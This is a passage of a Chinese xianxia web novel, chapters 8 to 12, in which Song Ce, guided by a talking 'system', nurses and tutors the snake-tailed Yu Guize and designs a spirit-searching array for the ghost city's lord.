说完青面鬼拿着印有宋策章印的纸恭敬地行礼后退几步转身离开。
宋策面不改色,撩袍坐下,拿起一旁的压板抵住泛黄的卷轴。
压住灰棕色的符印,露出一角注释着新落的血红朱砂印记。
9. 第八章
“宿主,我怀疑他是故意的……”
宋策忍无可忍终于从床上起身下去,动作之间衣摆将排列在两人周围的灵石扫落到地上。
系统都被宋策突然起身的动作吓了一跳。
喻归泽眸光落在宋策身上一瞬随即低下头俯身捡起落下的灵石:“还是算了吧,可能我没什么天赋。”
“宿主,你相信我,资料里显示他真的是个修道天才,他以前在宗门里一挑三平级对手,你教他的东西他绝对能理解!”系统慌忙解释,企图证明自己传输给宋策的那点可怜资料的真实性。
“我看的出来。”
喻归泽坐在床上看着宋策收拾准备在案台上的黄符和朱笔,他有些不安地捏着手中灵石。
“宿主,别放弃啊,可能他现在不想学以后会想学的,你每天教他一点我相信会成功的。”系统察觉到宋策不耐烦的神色有些慌了。
“我浪费一下午时间对牛弹琴,你觉得我还有闲情雅致陪他在这过家家?”
“宿主,别急嘛”,系统着急忙慌地想着安抚宋策的措辞,“对,你先教他画符,最简单的那种!”
“滚……”
鬼城的夕阳依旧灰蒙蒙的,落日的余晖最终消失在西边的云彩中,宋策点亮一盏烛火,烛光影影绰绰地晃动让宋策有些眼花。
他按揉自己跳动太阳穴闭了闭眼睛,终于抬头看向正低头发呆的喻归泽:“你想出去吗?”
闻言喻归泽呆愣地将视线从飞蛾身上移向宋策,他眼睫轻颤:“你能带我出去?”
“你的伤好的差不多了,可以出门了。”宋策敲敲桌角,语气像是在和喻归泽商量。
喻归泽有些激动地站起,尾巴摩擦在地板上发出“沙沙”的声响,他移动到宋策身边:“那你什么时候可以带我出去?”他眼尾都带着笑意,手腕搭在宋策案桌上、他的手腕边,下颚抵在自己的手,他抬头看着宋策,眼中满是期待。
“你想走吗?”宋策没有回答他的问题,压低眼帘看着喻归泽的眼睛,面色平静毫无波澜。
喻归泽动作一僵,擦着地板摇摆的尾巴停顿在旁边,他支起上半身,呆愣愣地盯着宋策:“什么?”
“宿主,好计谋,先吓吓他,然后逼他修炼。”系统激动地都快要拍手叫好。
“宋哥,你想要我走吗?”喻归泽一错不错地看着宋策的眼突然低下来,他起身背对着宋策看向窗外黑乎乎一片。
“就是现在,快恐吓他,让他修炼,要是不修炼就把他丢出去!”系统越说越激动,宋策感觉系统都快要从自己身上跳出来亲自压着喻归泽修炼了。
“我不想你走,所以你要好好修炼。”
“哎?宿主?”系统一瞬语塞,一口气没上来,“等等,这不是你的风格啊。”
喻归泽回头疑惑地看向宋策,那双原本泛着点滴波澜的眼变得有些柔和不解:“为什么这样说?”
“你是单灵根,如若一朝入道,定能修炼飞速”,宋策目光有些怅然,他低头轻笑,“但我和你不一样,我的内丹品型低劣不适合修炼,在这鬼城要想活下去,除了依附于人就要自身修为高。”
宋策示意喻归泽走近,他的手指抵在喻归泽的丹田,为他输送灵气:“我不希望你走,但我也不希望你受到伤害。”
随着宋策靠近,喻归泽不自觉地往后退,他手抓住宋策的袖口,眼中忧郁失落地情绪通通都化作怔然和坦诚:“我愿意在你身边的,不、不想离开这里,你若不离开这里,我也会在这里陪你。”
“那你愿意入道吗?鬼城危机四伏也许有一天我护不住你,你还可以自己离开。”
宋策目光温和似乎是在和喻归泽商量,眼神却专注地看着喻归泽。
“宿主,你被夺舍了?”,系统觉得不可思议,一炷香时间之前宿主还是一副要送人命的表情,现在怎么回事,“宿主,他还不懂事,你不要这样,影响不好。”
“你不是很不喜欢我吗?为何教我这些?”喻归泽目光疑惑不解。
“那我为什么要救你?当初为什么不将你留在流沙城区自生自灭?”
喻归泽揪着衣袖,背过身,他的声音闷闷的:“也许我是你寻来解闷的。”
宋策扶额莞尔:“对,我寻你解闷逗乐,否则为何每日为你疗伤为你烧火做饭,我日子过不完闲得慌。”
系统惊叹宿主演技一流,系统都看出来宿主照顾喻归泽的不耐烦和躁意,每天冷着张脸,宿主简直在这里颠倒黑白:“宿主,你居然在这倒打一耙。”
“不会用词就闭嘴别说话。”
喻归泽沉默,他走到床头前,灰色飞蛾落在他的指尖。
“为什么不想学?”
喻归泽将飞蛾放入木盒之中,半晌转身,眼瞳不再黯然,他灿然微笑,手指摩擦不自然得摩擦木盒边缘:“学了就可以出门吗?”
宋策轻点桌角的手微顿,他的眸光微不可查的闪动一瞬随即注视着对面人沉静而又专注的眼:“对,等你入道那天我就带你出门。”
“学了可以保护你吗?”喻归泽坚韧的视线扫过宋策的左眼后转睫间移开。
……
“大人,祀春日就要到了,城主大人希望你能尽快把搜灵阵的绘图交给他。”
“知道了,下去吧。”
宋策眼神未抬,手中毛笔在纸上勾勒出几张戒指的绘图,样式简单却不落俗气。
“这个黑风鬼是不是有毛病,三天两头提要求,上次那个焕灵丹还是什么的都没炼,现在又提什么要求。”
系统似是想到什么多问了一句:“宿主若是没有完成他的要求,这个黑风鬼会不会惩罚宿主?”
宋策将章印盖在刚才绘制完成的图纸一侧:“说不准,所以你别打扰我。”
系统被宋策一句话堵在喉咙处,忍而不发。
“宋大人,宋大人!”
“又是这个家伙。”系统暗自腹诽,这个人都来骚扰宿主多少次了,宿主为什么不把他骂走。
“
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宋大人,你在啊。”来人把自己打扮的风度翩翩,锦衣加身,云纹银丝勾线,看上去华贵不凡。
“那个、我是来找你要个东西的。”他兴冲冲地跨入门槛,走到宋策身侧时又恭恭敬敬地行平级礼。
“大嗓门,生怕别人不知道你要来找我宿主要东西。”系统借着第三视角狠狠瞪着朱半规。
朱半规摸了摸耳垂,有些不好意思地傻笑:“大人,我炼丹缺了一味草药,听说你到药房中讨去了,现在库存不够,能否先匀我一半?”
宋策抬头,目光灼灼随即嘴角潋开一抹满不在乎的笑意:“朱大人既然有急,我让青面鬼在我那取一些给你带回去。”
朱半规听着宋策的话眼睛都眯缝着笑,连忙道谢:“多谢,多谢宋大人,往后宋大人若缺什么药材直接去我那取就是。”
“青面鬼,去带朱大人去库房里取一些带走。”
“哎,慢着慢着,青面鬼去就行,我就在这里等着”,说完朱半规向青面鬼扔了一袋灵石吩咐,“还是劳烦你这位小徒弟了。”
他没骨头般坐在宋策对面的案桌边,一身的华服被他穿得不伦不类。
青面鬼走后,朱半规手掌撑着脑袋看向宋策案桌上的文书,语意中带着几分探究:“宋大人这是要炼储物戒?”
“为何不拿些自己的丹药向府上那些炼器师换个戒指?”
“炼着玩。”宋策面不改色地拿起毛笔在另一张纸上写下炼器需要的材料。
“哦……这样啊,哈哈”,他有些尴尬地摸摸自己的衣袍花纹。
“听闻大人家中养了个美人?”
朱半规说完心中一紧,宋策扫视过来的凉薄眼神让他紧张控制不住地压下眼睫,随即自顾自讪笑,“我去看看青面鬼药取来了没。”
说罢便要起身向外走。
“朱大人的消息,不知是听谁说的?”
朱半规懊恼地停下脚步,转身直直地笑:“外头传了些风言风语,道听途说、道听途说罢了。”
宋策姿态慵懒,神色放松,手中朱笔轻轻敲击在砚台上发出“哒哒”声:“城主底下的人大多都养了些人,怎的到我身上就是风言风语?”
朱半规微微耸着肩膀,向后退,听及此面色有些恍然,他稍作镇定:“怎会?宋大人高风亮节,向来端庄,定是外头人胡言乱语企图损坏大人名声。”
宋策面带讥笑:“朱大人真会说话。”
朱半规和宋策掰扯几句后逃也似的走出大门,他暗自掐自己手腕间皮肉。
“宿主,这个朱半规满口胡话,没规没矩的,一点分寸都没有,看着就蠢巴巴的。”
“呵。”
“宿主难道我说的不对吗?”系统有些不服气。
“你又有多聪明?”
“宿主,你怎么能这样说我?”
“对了,宿主,祀春日是什么,春节吗?”
宋策将需要的器物写在纸上盖好章压在砚台下:“鬼城的人不过人间节日。”
10. 第九章
宋策踏入屋内就看见喻归泽趴在床上看书,他的尾巴在床上无意识地摇摆晃动,下半身盖着的被褥被他尾巴拱起。
系统有些惊喜:“宿主,他好认真!”
喻归泽似乎没有注意到已经靠近的宋策,他依旧手支着脑袋低眼看着靠在枕头上的小册子,散开的长发落在耳边和肩头遮住半张脸。
宋策眉头微紧走近撩起他的头发:“有桌椅不坐,趴在床上?”
喻归泽猛地一惊,他眼疾手快地迅速将小册子塞进枕头下转过身,目光正好和宋策正对,四目相对间,喻归泽看着宋策的眼微微眯起,有一瞬间似乎见到一双瞳孔收缩的兽眼,他心中一紧。
宋策的指尖还勾着喻归泽的头发,他眼神向下轻瞥:“你在看我给你的书吗?”
喻归泽眨着眼睛,扣着软枕头上的手掌紧了又松:“在的,在看。”
“是吗?”宋策压低身体手放在枕边,“你看的是哪本?叫什么名字?”
随着宋策的动作,喻归泽能清晰地感受到宋策的呼吸,他微微侧开右脸眼神看向自己的尾巴处:“名字……名字是……”
宋策起身走至案桌前坐下,喻归泽的视线随着宋策的衣袖移向他按在手下的书册。
“是这个吗?”宋策缓缓拿起手上的小册书摆到桌子上,喻归泽慌张地查看手下的枕头,果然,被宋策拿走了。
随后他视线微瞟,不知所措地摆弄薄被往自己上身盖。
“这个书你哪来的?”
宋策拿着书敲敲桌角,示意喻归泽看着自己。
喻归泽瞥了一眼书扉页“一梦浮生”几个字,有些不好意思地转过头低声说:“你自己给我的?”
说完他不等宋策说话又补充一句:“它就夹在一本经文里。”
“宿主,这不能怪喻归泽,这是你的问题。”系统记得这些书是宿主自己吩咐青面鬼从藏室里拿的一些基础经文和心法。
“你没好好检查书有没有问题,怎么能怪喻归泽看闲书。”
宋策简单地翻看手中的书,薄薄一小册书中字迹小的可怜,插图倒是挺多。
宋策将书摆在一边,手支起下颚,翻看自己带给喻归泽的其他书籍,沉默不语。
喻归泽有些忍受不了这种沉默地气氛:“你让我记住的心法我都记得的,我可以背给你听。”
“不必,我信你自然记住了。”宋策潋开眼眸看向喻归泽。
系统总觉得宿主有些不对劲,他忍不住发言:“宿主别太着急,他才学,容易分心很正常。”
“我没怪他,他只是失忆了,记忆混乱不清,有些东西不用教他,我相信只是稍微点一下,他自然会懂。”
“引气入体虽并非一朝即成,但我也没那么多时间慢慢陪他耗。”宋策有些疲倦地靠在椅背上。
“或许有一天他想通了就直接练气入道了呢,那时宿主就可以直接传授他其他术法了。”系统对于宿主的任务总抱有莫名其妙的自信,也许也是在安慰自己。
“今夜我晚些归。”
“那你什么时候能回来,我等你一起。”
“不必等我,你自己先休息”,宋策看着喻归泽的眼,“嫌黑自己点蜡烛,但是别打翻了烛火烧了房子。”
“这几日不得空闲,你自己看看我给你的心法,往后再教你其他。”宋策拿着那本“一梦浮生”的书挥了挥,“把我给你的书看完再问我要这本。”
喻归泽盯着那本书,捏着掌下被褥:“好。”
……
积雪消融,鬼城的街道又恢复了灰蒙蒙的颜色,一眼看向远方也是苍茫不清,难以视物。
“城主要这个搜灵阵的图,我们从何查起啊?”一个尖嘴猴腮,牙口泛黄夹黑的白发老头锁紧眉头,一脸愁容。
“这个阵图还是从前任城主的藏书室里发现的,几张残卷,只有阵法作用却无摆阵修阵的任何文字。”
“这可如何是好?”
朱半规拍拍桌子:“都别吵、都别吵,既然宋大人将我们都召在一张桌子上,他定然是想到好办法了,先别急。”
“宿主,你什么时候要召开这次大会了?他又借着你的名号乱说话。”系统
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看着朱半规神采飞扬的神色,好似下一秒就要跳到桌子上给众人讲解宋策是如何摆设阵法。
“鬼城极南有一处深渊,那里长年累月飘荡着三界无根灵体和凶煞鬼气”,朱半规越说越起劲,“城主大人定然不是要那普通的聚灵阵,宋大人觉得这里的搜灵阵应当是和灵体有关的灵,并非灵气的灵。”
“那这个阵法又有何用处?”一个一身素白道袍的青年修士挥动着手中佛尘,目光中满是不屑和轻蔑。
“是啊,这种作用的阵法城主岂不是让我们多此一举,他为何不直接搜查周围魂体?”
“若是寻常阵法,这城主自然也不会让我们来办这件事。”朱半规反驳露出轻蔑神情的同行。
“你们懂什么,练了半辈子丹药,练了半辈子器还不如宋大人这几年对丹药和炼器的理解深度,让你们来讨论如何解决这个问题,不是让你们来冷嘲热讽的”,他站起身子猛地拍桌子,敲碎了在场的吵闹和喧哗,“这件事难道是宋大人一人的差事吗?我记得城主让你们协助宋大人。”
“这个傻子是真傻还是故意的?”系统都快看不下去了,“他这么说话不是把宿主你往风口浪尖上推吗?”
宋策眼眸平静沉默不语,目光扫视周围一圈人:“能坐在这里的都不是省油的灯。”
似是想到什么有趣的事情,众人看见一直坐在一边的宋策轻笑了一声,他们的声音似乎像是被沉默的浪潮淹没一般,瞬间没了动静。
系统察觉到这一点后,,有些疑惑:“宿主,你刚才笑什么?”
“我想青面鬼当时拜师的场景,这些人他不选,他偏偏选中了我。”
系统不知道这件事有什么好笑的,他只能刻意试图追上宋策的思路,回答他自己觉得有些道理的话:“宿主当时救过他一命,也许他就是看上了宿主的良善。”
一众屏住呼吸的人微不可查地悄悄观察宋策的神色,突然发现宋策眸光一凝,嘴角下撇,见此他们有的人心都要跳出来:“他又怎么了?”
宋策不耐烦地问候系统:“你以后最好少说这种话。”
11. 第十章
“宿主,真要去那个什么极南深渊吗?”系统总是摸不清宿主做事的势头。
“他们就是要把你往火坑里推,你要去了喻归泽怎么办?难道要把他带着吗?”一听极南深渊这个名字系统就觉得不对劲,什么地方能叫这种鬼名字。
夜间迷雾重障,难以视物,宋策脚步迟缓:“极南深渊常年周旋灵体恶魂,黑风鬼想利用搜灵阵用这些魂魄炼丹入药。”
“宿主难道不能推辞吗?”系统有些小声,“他手底下那么些人,明明你的修为不算出挑,他干嘛不让其他人去呢?”
午夜寂静,寒风吹起宋策单薄的衣袍,灵气护体并不觉得冷。
“你有极渊的资料吗?”
系统有些艰难地开口:“宿主,说出来我也有些不好意思,我对这个世界的了解和你一样,最多知道一些喻归泽的背景和任务,其他的真的不知道。”
“指望不上你。”走出城门,宋策进入一片小树林,哗哗作响的树叶经不起北风呼啸,簌簌地落下,宋策脚踩在枯叶上发出“吱吱吱吱”的声音,好似在雪地中行走。
树林越走越黑,宋策指尖灵气化成灵火,银蓝色的火光在树林中穿梭,被风吹得摇曳晃动。
“宿主,你为什么不直接歇息在城中,明早再回。”
宋策脚步稍慢,在灵火照耀下的深邃眼眸泛起异样的涟漪,像是不易察觉的笑意:“平日里你不是最希望我和喻归泽在一起?今夜倒是难得考虑我。”
宋策耳边传来几声“滋滋”的电流声,系统才开声:“我一直是站在宿主这边的啊,我的生命是和宿主联系在一起的。”
系统低声辩驳:“我只是希望宿主能和任务目标好好相处,毕竟修复灵丹的任务要你们两个的配合。”
竹林枝干细微作响,有些竹子弯着腰抵在土地上,宋策经过,衣袖轻轻拂过绿叶枝丫发出细小的声音在这晚间也听得清清楚楚。
“宿主,喻归泽房中灯还亮着,他还没睡吗?”宋策顺着灯光看向喻归泽的屋子。
喻归泽的床位靠着窗户,宋策能看见他的影子歪斜着映照在窗户纸上,烛火闪动间隙,喻归泽的影子也轻轻颤动。
“吱呀”一声,宋策进入屋子,喻归泽被惊醒,他身子前倾猛地支起上半身。
满脸惺忪睡意的喻归泽本能地揉揉眼睛拉着被子盖着小腹。
“吵醒了。”宋策本意想进来拿走放在案桌上的经卷,就回到自己的屋子休息。
“还没睡”,说完喻归泽想起宋策临走的嘱咐,他动作不甚连贯地小心掀起被脚下床,“我就是渴了半夜起床喝水。”
喻归泽走近桌旁,举起茶壶倒水就要喝却被一旁的宋策打断手上动作:“水凉了。”
喻归泽喝水动作停顿在嘴边,他迟疑地掀起眼皮看一眼宋策的表情:“没事,只是解渴。”
宋策拿走他手上的杯子放下:“你当然没事,但是喝坏了要我照顾你。”
听及此喻归泽放在桌子上的右手指尖轻微一紧,他沉默地轻轻推动装着茶水的茶杯。
宋策将视线投向桌子上的蜡烛,一截燃烧不久的新烛,火光照耀半间小屋,温馨静谧。
宋策坐下,视线没有移开蜡烛灯芯,语气上像是在问一件稀松平常的小事:“蜡烛不经用吗?今夜用了几根?”
没有任何防备般,喻归泽脱口而出:“四根,还剩一些,还有的。”
宋策整理经卷的手停顿抬眼看他,眉宇间挑出几分笑意。
喻归泽眼眸盯着宋策的眼,未从宋策眼中察觉到几分揶揄,他稍微放松有些紧绷的身体。
“咕咕咕咕……”
沉默的气氛中突兀地响起一小串声音,喻归泽右手按在腹部尴尬地转身掩饰。
长尾在他衣袍下蜿蜒扭动,还未离开宋策脚边,喻归泽突然浑身一僵,停在原地,宋策伸腿搭在了他裸露出来的尾巴尖上。
宋策觉得喻归泽的反应有些好笑。
虽然他是一个拖着蛇尾的物种,这时却像一只炸毛的猫。
“厨房里的面没吃吗?”
喻归泽动作迟钝地转身,他往后退试图将自己的尾巴卷到自己身边,动作有些焦急,嘴上不忘回答宋策的话:“忘了,不曾想你这么晚才回。”
宋策没有为难他,本来只是轻轻搭在他的尾巴上,他不知道喻归泽为什么反应有些奇怪,他放下腿,随后撩袍站起拉住喻归泽的胳膊:“没吃,去吃一些。”
“面已经坨了。”
宋策将喻归泽拉出门外,向着左边厨房走去。
果然锅里的面都糊在一起,宋策默不作声地看一眼站在一边的喻归泽,他拿着筷子在锅里搅动几次,放下筷子:“浪费。”
喻归泽瞬间觉得自己的手尾在狭窄空间里有些局促,他有些不知所措地摸摸自己的衣襟。
“去把锅里的盛起来,我重新为你做一份。”
宋策转身走到炉灶下开始生火,他灵活自如地使用火符,柴火砰然燃烧,干燥的柴火时不时迸发出炸裂声,窗外的风拍打着窗户,也发出“呼呼”声。
“去把门窗关上。”
外面的风吹进里侧,卷起宋策脚边的炉灰,喻归泽抓着被风吹动的衣袍关紧了窗户,风钻进他的胸口,他僵直脖颈关闭了门,坐在一边。
炉火散着红光,宋策的脸泛着热意,他起身招手:“过来这边坐。”
喻归泽在宋策的示意下,坐在一堆柴火中,身侧就是燃烧的炉火,为他驱散身上的寒意,胸口的暖意涌遍全身。
喻归泽有些新奇地拿起地上一截树枝伸进炉子里轻轻挑起一小簇火花。
“别加柴火”,宋策轻微斜着头看一眼坐在炉火边的喻归泽,“不要玩火,烧了你的尾巴。”
喻归泽捏着那小截树枝往里头塞,搓搓自己的手指,小声狡辩:“我没有。”
“没有其他,只有鸡蛋和面。”
这时喻归泽的声音稍稍抬高:“我都行的。”
宋策切了手边的葱花突然停下动作:“今日感觉怎么样?”
喻归泽把玩树枝的动作微顿,他稍微低下头闷声:“还是不能引气入体。”
“可以感受到灵气,但是无法转化……你给我的心法我都看了,方法也试过。”
宋策捞起泡在盆里的粗面,抖干水分放入锅中:“一梦浮生那本书你看完了?”
“嗯?”喻归泽有些疑惑地抬头看向宋策,他扣着手中枯枝的黑皮,尾巴边落了一地细碎渣子。
“宿主,你不是把那本书给他没收了?”
“我只是把书放在了我房中,他若是想看早看完了。”锅内热气氤氲而上,宋策的身子笼罩在一片雾色中。
喻归泽眨动眼帘,抿了抿唇:“你不是不让我看吗?”
宋策眼中闪过几分揶揄,没有戳穿喻归泽:“我看了书,文字部分我不认识,但我想知道什么内容让你这么喜欢?”
“文字内容是关于什么?神话故事?还是志怪故事?”宋
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策像是寻常聊天般问喻归泽,语气轻松。
“宿主,你怎么对一个小说这么好奇?神州大陆文字有很多种,宿主你不认识的字其实有很多的。”
喻归泽拍拍手上树皮渣子,整理衣服扶着墙面站起,看向宋策眼神中有些不可思议:“宋哥还有不认识的文字?”
“很稀奇?”
“自然,我见过你翻看过多种文字的书籍,有时你也会写一些我不认识的字,不曾想我认识的字你却不认的。”
“宿主,他说的不认识的文字,是你们现代的汉字吧。”系统记得宿主设计法阵的时候还会直接用阿拉伯数字计算,有时为了节省时间外语、单位符号什么的都会用,但是宿主会把给要别人看的资料重新翻译成这里的文字,自己的那份销毁烧掉。
谨慎的宿主似乎对喻归泽不太设防。
宋策盛好面端到桌子上示意喻归泽上桌。
喻归泽知道宋策不吃饭,他没有问宋策是否要一起坐下。
宋策走到炉灶边坐下,拾起一把柴火似乎想重新点燃火星,喻归泽刚想问他想干什么,但是被宋策的问话打断。
“我翻看的那些书,你都看得懂?”
“大部分都看得懂,还有些只是对部分文字有印象。”
宋策用树枝捅炉灶里火星,他手停下抬起头看向坐在桌边的喻归泽,目光温和语意像是开玩笑:“那我下次遇到不认识的文字可要问你了,我也不必再费时费力查阅文书翻译经文。”
“好啊。”
喻归泽嘴角挂着笑,眼眸在烛火下泛着晶莹的光,眉眼微弯,看上去心情很好,没有半点对宋策的生分。
……
夜风渐稀,寂静无声,月光如水婉约轻薄透过纸窗洒在喻归泽的黑袍上。
喻归泽看了好几眼宋策的碗,欲言又止,嘴唇微启,但眼神碰上宋策冷淡的表情后又迅速移开看向他方。
“宿主,你怎么把那个剩下的面吃掉了?”
“热热还能吃。”宋策抬手支起额头,神色露出些许疲倦,眉头轻锁闭眼低头养神。
“面条都断掉了,一截一截的。”系统看着喻归泽,系统觉得他似乎快要羞愧欲死。
“宋哥,对不起。”喻归泽在宋策闭眼后才斟酌几番说出口。
“食不言。”宋策眼睫颤动几次不曾睁开眼睛看喻归泽。
烛火昏黄,明明灭灭,将两人的影子照射在地上,未察觉的空档,蜡烛越烧越短,影子的身形也相互依偎。
……
“宋哥,我睡不着。”喻归泽掀起脸上的被子就能看见坐在自己身侧的宋策。
宋策轻微抬手,微风拂过,摆放在桌子上的短截蜡烛火光熄灭:“现在睡吧。”
“其实那本‘一梦浮生’我已经看完了。”
“寝不语。”
“我把书中故事给你说好不好?”喻归泽拉拉宋策的衣服,侧着身体看他。
宋策未有动作和言语,喻归泽有些躺不住了,他拉着宋策的衣服,示意他躺下:“你听不听?”
“我知道你今日也累了,你别打坐了休息一下,我当故事说给你听。”
黑暗中仰面看着宋策的喻归泽等了几息正要支起上半身。
宋策低眉借着月光看清喻归泽有些期待的眉眼,无奈最后他掀起一角被沿:“尾巴往里伸伸……”
“宿主,哪有你这样的,明明是你最开始想听他讲故事,最后还要他来求你听。”
……
12. 第十一章
“大人,这搜灵阵……”朱半规急的团团转,他步伐急促毫无章法。
“城主希望我们去极渊给他捉鬼吗?这极渊凶险异常,这可如何是好?”朱半规烦躁地挠头。
面对朱半规口不择言的一顿输出,宋策不耐烦地打断他:“已经将法阵绘图交给城主,今日只需在他面前演示一遍即可。”
“可是,若是城主不是那个意思,我们岂不是白费力气,还要被他、被他……”
宋策冷笑,他握住毛笔的手停滞于纸上,一点朱墨晕染几处字迹,他随即换了一张白纸重新书写。
“即使法阵不合他心意,也不会怎么样。”
朱半规见宋策随性从容的坐姿,他急的都快要跳起来:“你当然不急,再怎么样他不会把你怎样,但是我、我们!”
宋策抬起眼眸盯着朱半规因为激动搭在他桌角的手,朱半规察觉到不对的气氛猛地将手收走,随即收敛情绪赔笑道:“大人别误会,我不是那个意思。”
“他有毛病啊,当初宿主你因为要处理流沙城区的事务,这个差事那个狗东西就交给其他几个人办,最后莫名其妙还是推到你头上了”,系统咬牙切齿,似乎要把朱半规身上盯出两个洞来,“宿主你忙前忙后帮他们搞完了,他现在还要质疑你法阵有问题,他是不是脑子坏了!”
“城主大人每逢祀春日前后都会闭关半月,届时若法阵有问题他也没有时间为难我们,往后几日再想办法修改即可。”
听了宋策的话朱半规像是想到什么,他急促的呼吸稍显放松,笑意半尴尬地挂在嘴角,一袭浅蓝锦衣被他刚才一连串的动作弄得皱巴巴,他整理整理衣袍对自己的失礼感到不好意思。
“对对对,还是大人考虑周到,到时再改。”
朱半规装模作样地抚平袖口的折痕,他抖抖宽大的长袖,双手举至额眉躬身行礼,衣袖上的锦绣梨花纹路随着他的动作恰似春风摇晃花枝乱颤。
“嘁,没什么本事倒是挺会打扮,每天都把自己搞得人模人样的”,系统语气有些不屑,但是还是忍不住多看了几眼朱半规的衣服,“他眼光是不错。”
“多有冒犯,望大人不要怪罪,我这就退下。”说完朱半规收手起身预离去。
“等等。”宋策放下手中朱笔,抬头看向朱半规,深邃的墨色眼瞳从脚向头的打量让朱半规心中一紧,宋策审视的眼神中含着几分挑剔和思虑。
朱半规觉得自己的腿都快软了,他僵硬着脸皮不自然地拉起嘴角讪笑:“大人,还有何事?”
“你这衣服——”宋策指尖轻点桌角,眉宇露出思考神态。
……
“宿主、宿主,你怎么样?”系统连叫几声宿主他都没给反应,若是平常也就算了,但是他看着宿主的脸色突然变得异常苍白,唇色煞白,他有些担心宿主的身体状况。
系统目前没办法推算任务进度和宿主生命值,不清楚这时的宿主是否因为支线任务牵连而感到身体不适,如果是因为任务他愧疚自己没有多余的能量缓解。
“宿主是感觉头昏脑涨、眼前发黑吗?”
黑风鬼虽还没到堂前,但堂前修士众多,宋策坐在会堂人群中低着头举杯掩饰,苦涩的茶水让他眉头微皱。
妖丹传来蚀骨钻心的疼痛,丹田处涌起的阵痛让他觉得腹部器官似乎要和妖丹一起灼烧腐烂。
“是妖奴血契。”宋策抿直唇角,暗自调动灵力缓解妖丹疼痛,但是腹部传来的灼烧感却没有丝毫减弱。
“黑风鬼?”系统是知道宿主和黑风鬼签订了主仆契约的。
大堂内嘈嘈杂杂,宋策额角溢出冷汗,他扣住茶杯的指尖泛白,手掌汗湿。
茶水已凉,站在一边的小侍始终低着头不敢抬头看,他走上前几步要为宋策续茶,宋策微侧苍白的脸示意他退下。
小侍从低眉退后不再动作,珠帘轻晃,衣袍佛动,人影窜动。
“众位大人先行退下吧,城主大人提前闭关,有何要紧的事等城主出关再议。”玉婪从堂后走出,领着几位侍女,神情平静,一双狭长窄眼轻飘飘地瞥过宋策的方向。
方才还嘈杂的人群听此,紧张的气氛终于缓解,有几人还上前询问关于搜灵阵的事务。
玉婪没看问话的几人,他压着眼皮理理自己的衣袖,微启猩红的嘴唇:“城主说法阵不错,至于——”
他走动几步,众人自觉退开,宋策视线范围忽然开阔,但他并未看向人群,依旧从容地坐在左侧上位。
系统能察觉到宿主身体的异样,他大气不敢出。
宋策方才趁着众人不注意服下一味丹药,脸上终于回色,丹田灼烧感才稍有缓解,否则他现在恐怕连茶杯都举不起来。
“大人说,极南深渊蕴灵养魂,周旋在极渊的灵体能修体塑丹,希望众位大人能尽快带回城主想要的灵。”
“若是能让城主大人满意,定然重重有赏”,玉婪目光落在沉默不语的宋策身上,“若是城主大人不满意,想必各位也是知道后果的。”
闻言众人皆目光惊惧,面面相觑,几声叹息之后又是死一般的寂静,所有人的视线都不由自主地看向从容不迫姿态悠闲的宋策。
“说完了吗?”宋策放下瓷杯,动作之间旁人能看见他左手上纹路样式简单的银色戒指闪动。
追随黑风鬼的人当中有人会时刻关注宋策,在他们看来修道三年的宋策对炼丹修器设阵样样都独见独知,天赋异禀,但可惜内丹资质低劣,难以成器。
有人暗自支起手掌,掩住唇角食指摩挲鼻尖,眼中闪过几分探究。
宋策没管他人打量的目光,撩袍站起:“说完了,我回去了。”
宋策转动指根莹白色的戒指,继而负手走过人群,经过玉婪身边时他侧身:“玉婪大人,总让我们这些人过了祀春
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日再说吧?”
玉婪长身而立,看了一眼宋策背负身后的袖袍,毫无在黑风鬼面前的谄媚和弱势。
堂中众人有许多对玉婪不满之人,他们大多低头以掩饰眸光中的轻蔑。
宋策唇边挑起一抹笑意眼中却不含情感:“相信城主大人定然不会因此为难我们”,宋策视线从前方移向玉婪的眼瞳,神情未变,“你说对吗?”
玉婪眼角微眯,鲜有感情的瞳溢出几分缓和之意,眉宇舒缓:“自然。”
……
“宿主,你今天怎么回事?身上还疼吗?”系统担心宿主的身体状态,方才在大堂上他被紧张的气氛吓得一句话不敢说。
“疼不死。”
系统被宋策一句话噎住也不恼,他转移话题:“宿主,我怎么感觉那个玉婪看你的眼神很不对劲呢?他刚才应该没有发现你身体不对劲吧?”
宋策不以为意:“他为黑风鬼办事,不奇怪。”
宋策推开木门,看见喻归泽坐在院子内神情焦急。
宋策走近,喻归泽语气慌乱,眉毛紧皱:“宋哥,今早你走之前看见另一只蛾子了吗?”
喻归泽举起手给宋策看手上唯一的一只灰色飞蛾:“只有一只了,另外一只不知道去哪了。”
他的长发仅仅用一根黑色细带系着,许是找了一上午,他发丝散乱衣袍还沾着薄尘,额头不知从哪蹭上了一抹黑渍。
宋策伸手,那只灰色飞蛾扇动翅膀落在他指尖,宋策撩动另一只衣袍一只飞蛾身形浮动,翩然落在喻归泽肩膀上。
重见飞蛾的喻归泽怅然若失的眼眸复而染上欣喜,他脸上笑意盎然,动作却小心翼翼地接过飞蛾:“原来是和你一起偷跑出去了。”
“没注意到它躲在我衣袍袖子里跟着我出门”,宋策手轻轻拂过一只飞蛾的尾翅,眼睫轻颤,“你找了一上午?”
喻归泽有些不好意地移开视线,眼珠左右飘动:“对啊,平时你出门都是它们陪我的,丢了一只我当然要找啊。”
宋策走进院落,背对喻归泽:“三日后即是鬼城祀春日,你想出去吗?”
喻归泽怔愣,他走到宋策跟前,看向宋策的目光中有些忐忑:“可是我、我还没入道。”
落在喻归泽肩膀上的飞蛾轻轻扇动轻薄的翅膀,喻归泽的鬓角碎发被风吹拂散乱。
宋策伸手擦过喻归泽额角黑渍,是碳灰。
喻归泽没有躲开,宋策抬起他的下颚左右查看:“你怎么这么脏?”
闻言,原本心中有些紧张和欣喜的喻归泽眉眼下撇,嘴角抿直,似乎对宋策的话有些不满。
宋策没有给喻归泽开口反驳的机会:“你不是一直想出门?”
“是没错,可是……”喻归泽落在身后的尾巴不自知地蜷缩缠绕。
“和我一起。”宋策绕开喻归泽向屋子走去,留眸光颤动的喻归泽在原地。
13. 第十二章
“宋哥,这是什么?”喻归泽从木盒中牵起一条珠链相接的饰品。
宋策正用印章沾着印泥随后在面前的一册折子上按下自己的章印,没有抬头回应喻归泽。
“宿主,这个样式的链子我记得你很早就绘过图,这是你特意做了送给喻归泽的?”
喻归泽举着链子来到宋策面前:“这是什么?项链吗?”喻归泽将手中饰品放在脖子上比划,表情有些疑惑。
“项链?这个会不会太长了?”
“腰链,戴在腰上。”
宋策将处理好的事务折子摆在一边,剩下几个册子他随意翻阅几下。
